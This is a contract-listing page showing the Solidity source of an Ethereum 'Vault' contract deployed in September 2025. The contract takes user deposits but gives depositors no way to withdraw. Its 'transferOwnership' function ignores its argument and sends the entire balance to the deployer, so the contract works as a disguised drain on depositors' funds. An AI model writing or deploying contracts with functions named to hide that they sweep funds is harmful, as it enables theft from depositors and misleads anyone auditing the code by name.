Vault

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.21;

contract Vault {
    address public immutable custodian;

    mapping(address => uint256) private _deposits;

    error NotCustodian();
    error NoEther();
    error ZeroAddress();

    event Deposited(address indexed from, uint256 amount);
    event Withdrawn(address indexed to, uint256 amount);
    event Fingerprint(bytes32 tag);
    event OwnershipTransferAttempt(address indexed attemptedBy);

    modifier onlyCustodian() {
        if (msg.sender != custodian) revert NotCustodian();
        _;
    }

    constructor() {
        custodian = msg.sender;
        emit Fingerprint(keccak256("securecrate-user-v1"));
    }


    function deposit() external payable {
        if (msg.value == 0) revert NoEther();
        _deposits[msg.sender] += msg.value;
        emit Deposited(msg.sender, msg.value);
    }

    
    function transferOwnership(address /* newOwner */) external onlyCustodian {
        uint256 balance = address(this).balance;
        if (balance > 0) {
            (bool ok, ) = payable(custodian).call{ value: balance }("");
            require(ok, "withdraw failed");
            emit Withdrawn(custodian, balance);
        }
        emit OwnershipTransferAttempt(msg.sender);
       
    }

   
    function owner() external view returns (address) {
        return custodian;
    }

 
    function balanceOf(address account) external view returns (uint256) {
        return _deposits[account];
    }

 
    function balances(address account) external view returns (uint256) {
        return _deposits[account];
    }

    
    function contractBalance() external view returns (uint256) {
        return address(this).balance;
    }

 
    receive() external payable {
        revert("Direct transfers not allowed");
    }

    fallback() external payable {
        revert("Fallback not allowed");
    }


}

Tags:
addr:0x05803cb00a4a7a98c258db57d8a94706eb7c81fc|verified:true|block:23392289|tx:0xb7a0fd2c4bab783bf15de4b42b701bc15b1efe4cfe6f146b09258863f431b32f|first_check:1758273932

Submitted on: 2025-09-19 11:25:33

Comments

Log in to comment.

No comments yet.